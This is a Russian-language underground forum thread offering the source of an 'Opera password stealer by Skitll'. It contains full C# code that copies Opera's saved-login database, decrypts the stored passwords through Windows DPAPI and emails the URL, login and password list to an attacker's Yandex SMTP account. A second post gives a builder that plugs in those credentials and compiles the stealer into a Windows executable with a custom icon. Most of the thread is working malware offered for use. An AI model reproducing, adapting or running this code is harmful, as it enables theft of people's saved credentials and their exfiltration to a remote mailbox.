Актуально Opera stealer by Skitll

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

Skitll

Участник

Skitll

Участник
10 Мар 2017
39
27
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
  • Лайк
Reactions: K_NoW and sergey021

ZetSving

Участник

ZetSving

Участник
17 Сен 2016
10
5
Вот вам часть билда:
Код:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using System.Text;
using System.IO;
using System.Threading;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Net.Mail;
using System.Net;

namespace source
{
    static class Program
    {
        private static string[] BasePaths =
        {
            Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Login Data"
        };

        public static string Email = "%[email protected]%";
        public static string Pass = "%qwerty%";
        public static string TempPatch = System.IO.Path.GetTempPath();

        static void Main()
        {

            File.Delete(TempPatch + "result_skitll.txt");
            Thread.Sleep(300);
            string Result = String.Empty;
            foreach (string BasePath in BasePaths)
            {
                List<Table> Logins = Chromium.Get(BasePath);
                if (Logins == null) continue;
                foreach (Table UData in Logins)
                {
                    string Temp = String.Join(" || ", new string[] { UData.Url.Replace("http://", String.Empty).Replace("https://", String.Empty).Replace("www.", String.Empty), UData.Login, UData.Password }) + "\r\n";

                    if (String.IsNullOrWhiteSpace(UData.Login) || String.IsNullOrWhiteSpace(UData.Password) || Result.Contains(Temp))
                    {
                        continue;
                    }

                    Result += Temp;
                }
            }
            File.AppendAllText(TempPatch + "result_skitll.txt", Result);
            Thread.Sleep(1500);

            SmtpClient Smtp = new SmtpClient("smtp.yandex.ru", 587);
            Smtp.Credentials = new NetworkCredential(Email, Pass);
            Smtp.EnableSsl = true;
            MailMessage Message = new MailMessage();
            Message.From = new MailAddress(Email);
            Message.To.Add(Email);
            Message.Subject = "Skitll Report";
            Message.Body = "Skitll Report";
            Message.Attachments.Add(new Attachment(TempPatch + "result_skitll.txt"));
            Smtp.Send(Message);
        }
    }
    class SQHandler
    {
        private struct RecordHeaderField
        {
            public Int64 size;
            public Int64 type;
        }
        private struct TableEntry
        {
            public Int64 row_id;
            public string[] content;
        }
        private struct SqliteMasterEntry
        {
            public Int64 row_id;
            public string item_type;
            public string item_name;
            public Int64 root_num;
            public string sql_statement;
        }

        private byte[] FileBytes;
        private string[] FieldNames;
        private ulong PageSize = 0;
        private ulong DbEncoding = 0;
        private TableEntry[] TableEntries;
        private SqliteMasterEntry[] MasterTableEntries;
        private byte[] SQLDataTypeSize = new byte[] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };

        public SQHandler(string FileName)
        {
            FileBytes = File.ReadAllBytes(FileName);
            PageSize = ConvertToULong(16, 2);
            DbEncoding = ConvertToULong(56, 4);
            ReadMasterTable(100);
        }
        public string GetValue(int row_num, int field)
        {
            try
            {
                if (row_num >= TableEntries.Length)
                    return null;
                if (field >= TableEntries[row_num].content.Length)
                    return null;
                return TableEntries[row_num].content[field];
            }
            catch
            {
                return null;
            }
        }
        public int GetRowCount()
        {
            return TableEntries.Length;
        }
        public string GetValue(int row_num, string field)
        {
            try
            {
                int found = -1;
                for (int i = 0; i <= FieldNames.Length; i += 1)
                {
                    if (FieldNames[i].ToLower().CompareTo(field.ToLower()) == 0)
                    {
                        found = i;
                        break;
                    }
                }
                if (found == -1)
                    return null;

                return GetValue(row_num, found);
            }
            catch
            {
                return null;
            }
        }

        private bool ReadTableFromOffset(UInt64 Offset)
        {
            try
            {
                if (FileBytes[Offset] == 0xd)
                {
                    UInt16 Length = (ushort)(ConvertToULong((int)Offset + 3, 2) - 1);
                    int ol = 0;

                    if ((TableEntries != null))
                    {
                        ol = TableEntries.Length;
                        Array.Resize(ref TableEntries, TableEntries.Length + Length + 1);
                    }
                    else
                    {
                        TableEntries = new TableEntry[Length + 1];
                    }
                    UInt64 EntOffset = default(UInt64);
                    for (ushort i = 0; i <= Length; i += 1)
                    {
                        EntOffset = ConvertToULong((int)Offset + 8 + (i * 2), 2);
                        if (Offset != 100) EntOffset = EntOffset + Offset;
                        int t = GVL((int)EntOffset);
                        Int64 size = CVL((int)EntOffset, t);
                        int s = GVL((int)(EntOffset + ((ulong)t - EntOffset) + 1));
                        TableEntries[ol + i].row_id = CVL((int)(EntOffset + ((ulong)t - EntOffset) + 1), s);
                        EntOffset += ((ulong)s - EntOffset) + 1;
                        t = GVL((int)EntOffset);
                        s = t;
                        Int64 Rec_Header_Size = CVL((int)EntOffset, t);
                        RecordHeaderField[] FieldSize = null;
                        Int64 size_read = (long)((EntOffset - (ulong)t) + (ulong)1);
                        int j = 0;
                        while (size_read < Rec_Header_Size)
                        {
                            Array.Resize(ref FieldSize, j + 1);
                            t = s + 1;
                            s = GVL(t);
                            FieldSize[j].type = CVL(t, s);
                            if (FieldSize[j].type > 9)
                            {
                                if (IsOdd(FieldSize[j].type)) FieldSize[j].size = (FieldSize[j].type - 13) / 2;
                                else FieldSize[j].size = (FieldSize[j].type - 12) / 2;
                            }
                            else
                            {
                                FieldSize[j].size = SQLDataTypeSize[FieldSize[j].type];
                            }
                            size_read = size_read + (s - t) + 1;
                            j = j + 1;
                        }
                        TableEntries[ol + i].content = new string[FieldSize.Length];
                        int counter = 0;
                        for (int k = 0; k <= FieldSize.Length - 1; k += 1)
                        {
                            if (FieldSize[k].type > 9)
                            {
                                if (!IsOdd(FieldSize[k].type))
                                {
                                    if (DbEncoding == 1)
                                    {
                                        TableEntries[ol + i].content[k] = Encoding.Default.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + counter), (int)FieldSize[k].size);
                                    }
                                    else if (DbEncoding == 2)
                                    {
                                        TableEntries[ol + i].content[k] = Encoding.Unicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + counter), (int)FieldSize[k].size);
                                    }
                                    else if (DbEncoding == 3)
                                    {
                                        TableEntries[ol + i].content[k] = Encoding.BigEndianUnicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + counter), (int)FieldSize[k].size);
                                    }
                                }
                                else
                                {
                                    TableEntries[ol + i].content[k] = Encoding.Default.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + counter), (int)FieldSize[k].size);
                                }
                            }
                            else
                            {
                                TableEntries[ol + i].content[k] = Convert.ToString(ConvertToULong((int)((long)EntOffset + Rec_Header_Size + counter), (int)FieldSize[k].size));
                            }
                            counter += (int)FieldSize[k].size;
                        }
                    }
                }
                else if (FileBytes[Offset] == 0x5)
                {
                    UInt16 Length = (ushort)(ConvertToULong((int)(Offset + 3), 2) - 1);
                    UInt16 EntOffset = default(UInt16);
                    for (ushort i = 0; i <= Length; i += 1)
                    {
                        EntOffset = (ushort)ConvertToULong((int)((int)Offset + 12 + (i * 2)), 2);
                        ReadTableFromOffset((ConvertToULong((int)(Offset + (ulong)EntOffset), 4) - 1) * PageSize);
                    }
                    ReadTableFromOffset((ConvertToULong((int)(Offset + 8), 4) - 1) * PageSize);
                }
                return true;
            }
            catch
            {
                return false;
            }
        }
        private void ReadMasterTable(long Offset)
        {
            try
            {
                if (FileBytes[Offset] == 0xd)
                {
                    ulong Length = ConvertToULong((int)Offset + 3, 2) - 1;
                    int ol = 0;
                    if ((MasterTableEntries != null))
                    {
                        ol = MasterTableEntries.Length;
                        Array.Resize(ref MasterTableEntries, MasterTableEntries.Length + (int)Length + 1);
                    }
                    else
                    {
                        MasterTableEntries = new SqliteMasterEntry[Length + 1];
                    }
                    UInt64 EntOffset = default(UInt64);
                    for (ulong i = 0; i <= Length; i += 1)
                    {
                        EntOffset = ConvertToULong((int)Offset + 8 + ((int)i * 2), 2);
                        if (Offset != 100)
                            EntOffset += (ulong)Offset;
                        dynamic t = GVL((int)EntOffset);
                        Int64 size = CVL((int)EntOffset, t);
                        dynamic s = GVL((int)(EntOffset + ((ulong)t - EntOffset) + 1));
                        MasterTableEntries[ol + (int)i].row_id = CVL((int)(EntOffset + ((ulong)t - EntOffset) + 1), s);
                        EntOffset += ((ulong)s - EntOffset) + 1;
                        t = GVL((int)EntOffset);
                        s = t;
                        Int64 Rec_Header_Size = CVL((int)EntOffset, t);
                        Int64[] Field_Size = new Int64[5];
                        for (int j = 0; j <= 4; j += 1)
                        {
                            t = s + 1;
                            s = GVL(t);
                            Field_Size[j] = CVL(t, s);
                            if (Field_Size[j] > 9)
                            {
                                if (IsOdd(Field_Size[j]))
                                {
                                    Field_Size[j] = (Field_Size[j] - 13) / 2;
                                }
                                else
                                {
                                    Field_Size[j] = (Field_Size[j] - 12) / 2;
                                }
                            }
                            else
                            {
                                Field_Size[j] = SQLDataTypeSize[Field_Size[j]];
                            }
                        }
                        if (DbEncoding == 1)
                        {
                            MasterTableEntries[ol + (int)i].item_type = Encoding.Default.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size), (int)Field_Size[0]);
                        }
                        else if (DbEncoding == 2)
                        {
                            MasterTableEntries[ol + (int)i].item_type = Encoding.Unicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size), (int)Field_Size[0]);
                        }
                        else if (DbEncoding == 3)
                        {
                            MasterTableEntries[ol + (int)i].item_type = Encoding.BigEndianUnicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size), (int)Field_Size[0]);
                        }
                        if (DbEncoding == 1)
                        {
                            MasterTableEntries[ol + (int)i].item_name = Encoding.Default.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + Field_Size[0]), (int)Field_Size[1]);
                        }
                        else if (DbEncoding == 2)
                        {
                            MasterTableEntries[ol + (int)i].item_name = Encoding.Unicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + Field_Size[0]), (int)Field_Size[1]);
                        }
                        else if (DbEncoding == 3)
                        {
                            MasterTableEntries[ol + (int)i].item_name = Encoding.BigEndianUnicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + Field_Size[0]), (int)Field_Size[1]);
                        }
                        MasterTableEntries[ol + (int)i].root_num = (long)ConvertToULong((int)((long)EntOffset + Rec_Header_Size + Field_Size[0] + Field_Size[1] + Field_Size[2]), (int)Field_Size[3]);
                        if (DbEncoding == 1)
                        {
                            MasterTableEntries[ol + (int)i].sql_statement = Encoding.Default.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + Field_Size[0] + Field_Size[1] + Field_Size[2] + Field_Size[3]), (int)Field_Size[4]);
                        }
                        else if (DbEncoding == 2)
                        {
                            MasterTableEntries[ol + (int)i].sql_statement = Encoding.Unicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + Field_Size[0] + Field_Size[1] + Field_Size[2] + Field_Size[3]), (int)Field_Size[4]);
                        }
                        else if (DbEncoding == 3)
                        {
                            MasterTableEntries[ol + (int)i].sql_statement = Encoding.BigEndianUnicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + Field_Size[0] + Field_Size[1] + Field_Size[2] + Field_Size[3]), (int)Field_Size[4]);
                        }
                    }
                }
                else if (FileBytes[Offset] == 0x5)
                {
                    ushort Length = (ushort)(ConvertToULong((int)Offset + 3, 2) - 1);
                    ushort EntOffset = default(UInt16);
                    for (int i = 0; i <= Length; i += 1)
                    {
                        EntOffset = (ushort)ConvertToULong((int)Offset + 12 + (i * 2), 2);
                        if (Offset == 100)
                        {
                            ReadMasterTable((long)((ConvertToULong((int)EntOffset, 4) - 1) * PageSize));
                        }
                        else
                        {
                            ReadMasterTable((long)((ConvertToULong((int)(Offset + (long)EntOffset), 4) - 1) * PageSize));
                        }
                    }
                    ReadMasterTable((long)((ConvertToULong((int)((int)Offset + 8), 4) - 1) * PageSize));
                }
            }
            catch
            {
            }
        }
        public bool ReadTable(string TableName)
        {
            try
            {
                int found = -1;
                for (int i = 0; i <= MasterTableEntries.Length; i += 1)
                {
                    if (MasterTableEntries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
                    {
                        found = i;
                        break;
                    }
                }
                if (found == -1) return false;
                var fields = MasterTableEntries[found].sql_statement.Substring(MasterTableEntries[found].sql_statement.IndexOf("(") + 1).Split(',');
                for (int i = 0; i <= fields.Length - 1; i += 1)
                {
                    fields[i] = fields[i].TrimStart();
                    var index = fields[i].IndexOf(' ');
                    if (index > 0) fields[i] = fields[i].Substring(0, index);
                    if (fields[i].IndexOf("UNIQUE") != 0)
                    {
                        Array.Resize(ref FieldNames, i + 1);
                        FieldNames[i] = fields[i];
                    }
                }
                return ReadTableFromOffset(((ulong)(MasterTableEntries[found].root_num - 1) * PageSize));
            }
            catch
            {
                return false;
            }
        }
        public string[] GetTableNames()
        {
            try
            {
                string[] retVal = new string[1];
                int arr = 0;
                for (int i = 0; i <= MasterTableEntries.Length - 1; i += 1)
                {
                    if (MasterTableEntries[i].item_type == "table")
                    {
                        Array.Resize(ref retVal, arr + 1);
                        retVal[arr] = MasterTableEntries[i].item_name;
                        arr = arr + 1;
                    }
                }
                return retVal;
            }
            catch
            {
                return null;
            }
        }
        private ulong ConvertToULong(int StartIndex, int Size)
        {
            try
            {
                if (Size > 8 | Size == 0) return 0;
                UInt64 retVal = 0;
                for (int i = 0; i <= Size - 1; i += 1)
                    retVal = ((retVal << 8) | FileBytes[StartIndex + i]);
                return retVal;
            }
            catch
            {
                return 0;
            }
        }
        private int GVL(int StartIdx)
        {
            try
            {
                if (StartIdx > FileBytes.Length)
                    return 0;
                for (int i = StartIdx; i <= StartIdx + 8; i += 1)
                {
                    if (i > FileBytes.Length - 1)
                    {
                        return 0;
                    }
                    else if ((FileBytes[i] & 0x80) != 0x80)
                    {
                        return i;
                    }
                }
                return StartIdx + 8;
            }
            catch
            {
                return 0;
            }
        }
        private Int64 CVL(int StartIdx, int EndIdx)
        {
            try
            {
                EndIdx = EndIdx + 1;
                byte[] retus = new byte[8];
                dynamic Length = EndIdx - StartIdx;
                bool Bit64 = false;
                if (Length == 0 | Length > 9) return 0;
                if (Length == 1)
                {
                    retus[0] = (byte)(FileBytes[StartIdx] & 0x7f);
                    return BitConverter.ToInt64(retus, 0);
                }
                if (Length == 9) Bit64 = true;
                int j = 1;
                int k = 7;
                int y = 0;
                if (Bit64)
                {
                    retus[0] = FileBytes[EndIdx - 1];
                    EndIdx--;
                    y = 1;
                }
                for (int i = (EndIdx - 1); i >= StartIdx; i += -1)
                {
                    if ((i - 1) >= StartIdx)
                    {
                        retus[y] = (byte)((int)(FileBytes[i] >> (j - 1)) & ((int)(0xff >> j)) | ((int)FileBytes[i - 1] << k));
                        j = j + 1;
                        y = y + 1;
                        k = k - 1;
                    }
                    else
                    {
                        if (!Bit64) retus[y] = (byte)((FileBytes[i] >> (j - 1)) & (0xff >> j));
                    }
                }
                return BitConverter.ToInt64(retus, 0);
            }
            catch
            {
                return 0;
            }
        }
        private bool IsOdd(Int64 value)
        {
            return (value & 1) == 1;
        }
    }

    class Chromium
    {
        [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
        private static extern bool CryptProtectData(ref DATA_BLOB pPlainText, string szDescription, ref DATA_BLOB pEntropy, IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pCipherText);
        [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
        private static extern
        bool CryptUnprotectData(ref DATA_BLOB pCipherText, ref string pszDescription, ref DATA_BLOB pEntropy, IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pPlainText);
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        internal struct DATA_BLOB
        {
            public int cbData;
            public IntPtr pbData;
        }
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        internal struct CRYPTPROTECT_PROMPTSTRUCT
        {
            public int cbSize;
            public int dwPromptFlags;
            public IntPtr hwndApp;
            public string szPrompt;
        }
        private static byte[] Decrypt(byte[] cipherTextBytes, out string description, byte[] entropyBytes = null)
        {
            DATA_BLOB plainTextBlob = new DATA_BLOB();
            DATA_BLOB cipherTextBlob = new DATA_BLOB();
            DATA_BLOB entropyBlob = new DATA_BLOB();
            CRYPTPROTECT_PROMPTSTRUCT prompt = new CRYPTPROTECT_PROMPTSTRUCT();
            prompt.cbSize = Marshal.SizeOf(typeof(CRYPTPROTECT_PROMPTSTRUCT));
            prompt.dwPromptFlags = 0;
            prompt.hwndApp = IntPtr.Zero;
            prompt.szPrompt = null;
            description = String.Empty;
            try
            {
                try
                {
                    if (cipherTextBytes == null)
                        cipherTextBytes = new byte[0];
                    cipherTextBlob.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length);
                    if (cipherTextBlob.pbData == IntPtr.Zero) throw new Exception(String.Empty);
                    cipherTextBlob.cbData = cipherTextBytes.Length;
                    Marshal.Copy(cipherTextBytes, 0, cipherTextBlob.pbData, cipherTextBytes.Length);
                }
                catch (Exception ex)
                {
                    throw new Exception(String.Empty, ex);
                }
                try
                {
                    if (entropyBytes == null)
                        entropyBytes = new byte[0];
                    entropyBlob.pbData = Marshal.AllocHGlobal(entropyBytes.Length);
                    if (entropyBlob.pbData == IntPtr.Zero) throw new Exception(String.Empty);
                    entropyBlob.cbData = entropyBytes.Length;
                    Marshal.Copy(entropyBytes, 0, entropyBlob.pbData, entropyBytes.Length);
                }
                catch (Exception ex)
                {
                    throw new Exception(String.Empty, ex);
                }
                int flags = 0x1;
                bool success = CryptUnprotectData(ref cipherTextBlob, ref description, ref entropyBlob, IntPtr.Zero, ref prompt, flags, ref plainTextBlob);
                if (!success)
                {
                    int errCode = Marshal.GetLastWin32Error();
                    throw new Exception(String.Empty, new Win32Exception(errCode));
                }
                byte[] plainTextBytes = new byte[plainTextBlob.cbData];
                Marshal.Copy(plainTextBlob.pbData, plainTextBytes, 0, plainTextBlob.cbData);
                return plainTextBytes;
            }
            catch (Exception ex)
            {
                throw new Exception(String.Empty, ex);
            }
            finally
            {
                if (plainTextBlob.pbData != IntPtr.Zero)
                    Marshal.FreeHGlobal(plainTextBlob.pbData);
                if (cipherTextBlob.pbData != IntPtr.Zero)
                    Marshal.FreeHGlobal(cipherTextBlob.pbData);
                if (entropyBlob.pbData != IntPtr.Zero)
                    Marshal.FreeHGlobal(entropyBlob.pbData);
            }
        }
        public static List<Table> Get(string BasePath)
        {
            if (!File.Exists(BasePath)) return null;
            try
            {
                string TempPath = Path.GetTempPath() + '/' + GetRandomString(new Random().Next(3, 24)) + ".fv";
                if (File.Exists(TempPath)) File.Delete(TempPath);
                File.Copy(BasePath, TempPath);
                File.SetAttributes(TempPath, FileAttributes.Hidden | FileAttributes.System);
                SQHandler Handler = new SQHandler(TempPath);
                Handler.ReadTable("logins");
                List<Table> DataTable = new List<Table>();
                for (int i = 0; i < Handler.GetRowCount(); i++)
                {
                    string Description = String.Empty;
                    string Password = Encoding.Default.GetString(Decrypt(Encoding.Default.GetBytes(Handler.GetValue(i, 5)), out Description));
                    DataTable.Add(new Table { Url = Handler.GetValue(i, 1), Login = Handler.GetValue(i, 3), Password = Password });
                }
                Thread.Sleep(1500);
                File.Delete(TempPath);
                return DataTable;
            }
            catch { return null; }
        }
        private static string GetRandomString(int Size)
        {
            string Result = String.Empty;
            Random Random = new Random();
            string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
            for (int i = 0; i < Size; i++) Result += Alphabet[Random.Next(0, Alphabet.Length - 1)];
            return Result;
        }
    }

    class Table
    {
        public string Url { get; set; }
        public string Login { get; set; }
        public string Password { get; set; }
    }
}
--- Post updated ---
И часть билдера:
Код:
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
using bilder.Properties;
using Microsoft.CSharp;

// Token: 0x02000004 RID: 4
public class FormMain : Form
{
    // Token: 0x0600000D RID: 13 RVA: 0x00002140 File Offset: 0x00000340
    protected override void Dispose(bool disposing)
    {
        if (disposing && this.icontainer_0 != null)
        {
            this.icontainer_0.Dispose();
        }
        base.Dispose(disposing);
    }

    // Token: 0x0600000E RID: 14 RVA: 0x0000216C File Offset: 0x0000036C
    private void InitializeComponent()
    {
        this.btBild = new Button();
        this.txtIco = new TextBox();
        this.btIco = new Button();
        this.groupBox1 = new GroupBox();
        this.txtPass = new TextBox();
        this.txtEmail = new TextBox();
        this.linkLabel1 = new LinkLabel();
        this.label1 = new Label();
        this.groupBox1.SuspendLayout();
        this.SuspendLayout();
        this.btBild.Font = new Font("Verdana", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 204);
        this.btBild.Location = new Point(13, 152);
        this.btBild.Margin = new Padding(4);
        this.btBild.Name = "btBild";
        this.btBild.Size = new Size(266, 28);
        this.btBild.TabIndex = 0;
        this.btBild.Text = "Bild";
        this.btBild.UseVisualStyleBackColor = true;
        this.btBild.Click += this.btBild_Click;
        this.txtIco.Location = new Point(13, 12);
        this.txtIco.Name = "txtIco";
        this.txtIco.ReadOnly = true;
        this.txtIco.Size = new Size(210, 23);
        this.txtIco.TabIndex = 1;
        this.txtIco.Text = "null";
        this.btIco.Location = new Point(229, 12);
        this.btIco.Name = "btIco";
        this.btIco.Size = new Size(50, 23);
        this.btIco.TabIndex = 2;
        this.btIco.Text = "Ico";
        this.btIco.UseVisualStyleBackColor = true;
        this.btIco.Click += this.btIco_Click;
        this.groupBox1.Controls.Add(this.txtPass);
        this.groupBox1.Controls.Add(this.txtEmail);
        this.groupBox1.Location = new Point(13, 41);
        this.groupBox1.Name = "groupBox1";
        this.groupBox1.Size = new Size(266, 104);
        this.groupBox1.TabIndex = 3;
        this.groupBox1.TabStop = false;
        this.groupBox1.Text = "SMTP Yandex.ru";
        this.txtPass.Location = new Point(6, 62);
        this.txtPass.Name = "txtPass";
        this.txtPass.Size = new Size(254, 23);
        this.txtPass.TabIndex = 1;
        this.txtPass.Text = "password";
        this.txtPass.TextAlign = HorizontalAlignment.Center;
        this.txtEmail.Location = new Point(6, 33);
        this.txtEmail.Name = "txtEmail";
        this.txtEmail.Size = new Size(254, 23);
        this.txtEmail.TabIndex = 0;
        this.txtEmail.Text = "[email protected]";
        this.txtEmail.TextAlign = HorizontalAlignment.Center;
        this.linkLabel1.AutoSize = true;
        this.linkLabel1.Location = new Point(241, 192);
        this.linkLabel1.Name = "linkLabel1";
        this.linkLabel1.Size = new Size(38, 16);
        this.linkLabel1.TabIndex = 4;
        this.linkLabel1.TabStop = true;
        this.linkLabel1.Text = "Click";
        this.linkLabel1.LinkClicked += this.linkLabel1_LinkClicked;
        this.label1.AutoSize = true;
        this.label1.Location = new Point(10, 192);
        this.label1.Name = "label1";
        this.label1.Size = new Size(102, 16);
        this.label1.TabIndex = 5;
        this.label1.Text = "dark-time.com";
        this.AutoScaleDimensions = new SizeF(8f, 16f);
        this.AutoScaleMode = AutoScaleMode.Font;
        this.ClientSize = new Size(292, 217);
        this.Controls.Add(this.label1);
        this.Controls.Add(this.linkLabel1);
        this.Controls.Add(this.groupBox1);
        this.Controls.Add(this.btIco);
        this.Controls.Add(this.txtIco);
        this.Controls.Add(this.btBild);
        this.Font = new Font("Verdana", 9.75f, FontStyle.Regular, GraphicsUnit.Point, 204);
        this.FormBorderStyle = FormBorderStyle.FixedSingle;
        this.Margin = new Padding(4);
        this.MaximizeBox = false;
        this.MinimizeBox = false;
        this.Name = "FormMain";
        this.ShowIcon = false;
        this.StartPosition = FormStartPosition.CenterScreen;
        this.Text = "Opera password stealer by Skitll";
        this.groupBox1.ResumeLayout(false);
        this.groupBox1.PerformLayout();
        this.ResumeLayout(false);
        this.PerformLayout();
    }

    // Token: 0x0600000F RID: 15 RVA: 0x000026CC File Offset: 0x000008CC
    public FormMain()
    {
        this.InitializeComponent();
    }

    // Token: 0x06000010 RID: 16 RVA: 0x000026E8 File Offset: 0x000008E8
    private void btBild_Click(object sender, EventArgs e)
    {
        SaveFileDialog saveFileDialog = new SaveFileDialog
        {
            Filter = "Executable Files|*.exe",
            InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
        };
        if (saveFileDialog.ShowDialog() == DialogResult.OK)
        {
            string text = Resources.String_0;
            text = text.Replace("%[email protected]%", this.txtEmail.Text);
            text = text.Replace("%qwerty%", this.txtPass.Text);
            this.method_0(text, saveFileDialog.FileName);
        }
    }

    // Token: 0x06000011 RID: 17 RVA: 0x00002760 File Offset: 0x00000960
    private void method_0(string string_0, string string_1)
    {
        try
        {
            CompilerParameters compilerParameters = new CompilerParameters();
            compilerParameters.GenerateExecutable = true;
            compilerParameters.ReferencedAssemblies.Add("System.dll");
            compilerParameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            compilerParameters.ReferencedAssemblies.Add("System.Drawing.dll");
            compilerParameters.ReferencedAssemblies.Add("System.Data.dll");
            compilerParameters.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
            compilerParameters.ReferencedAssemblies.Add("System.Core.dll");
            string text = "/target:winexe";
            if (this.txtIco.Text != "null")
            {
                text = text + " /win32icon:\"" + this.txtIco.Text + "\"";
            }
            compilerParameters.CompilerOptions = text;
            compilerParameters.OutputAssembly = string_1;
            compilerParameters.TreatWarningsAsErrors = false;
            CompilerResults compilerResults = new CSharpCodeProvider(new Dictionary<string, string>
            {
                {
                    "CompilerVersion",
                    "v4.0"
                }
            }).CompileAssemblyFromSource(compilerParameters, new string[]
            {
                string_0
            });
            if (compilerResults.Errors.Count > 0)
            {
                foreach (object obj in compilerResults.Errors)
                {
                    CompilerError compilerError = (CompilerError)obj;
                    MessageBox.Show(compilerError.ToString());
                }
            }
        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message);
        }
    }

    // Token: 0x06000012 RID: 18 RVA: 0x00002908 File Offset: 0x00000B08
    private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
    {
        Process.Start("https://skitlllicense.000webhostapp.com/");
    }

    // Token: 0x06000013 RID: 19 RVA: 0x00002920 File Offset: 0x00000B20
    private void btIco_Click(object sender, EventArgs e)
    {
        OpenFileDialog openFileDialog = new OpenFileDialog
        {
            Filter = "Icone files|*.ico",
            InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
        };
        if (openFileDialog.ShowDialog() == DialogResult.OK)
        {
            this.txtIco.Text = openFileDialog.FileName;
        }
    }

    // Token: 0x04000007 RID: 7
    private IContainer icontainer_0;

    // Token: 0x04000008 RID: 8
    private Button btBild;

    // Token: 0x04000009 RID: 9
    private TextBox txtIco;

    // Token: 0x0400000A RID: 10
    private Button btIco;

    // Token: 0x0400000B RID: 11
    private GroupBox groupBox1;

    // Token: 0x0400000C RID: 12
    private TextBox txtPass;

    // Token: 0x0400000D RID: 13
    private TextBox txtEmail;

    // Token: 0x0400000E RID: 14
    private LinkLabel linkLabel1;

    // Token: 0x0400000F RID: 15
    private Label label1;
}
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя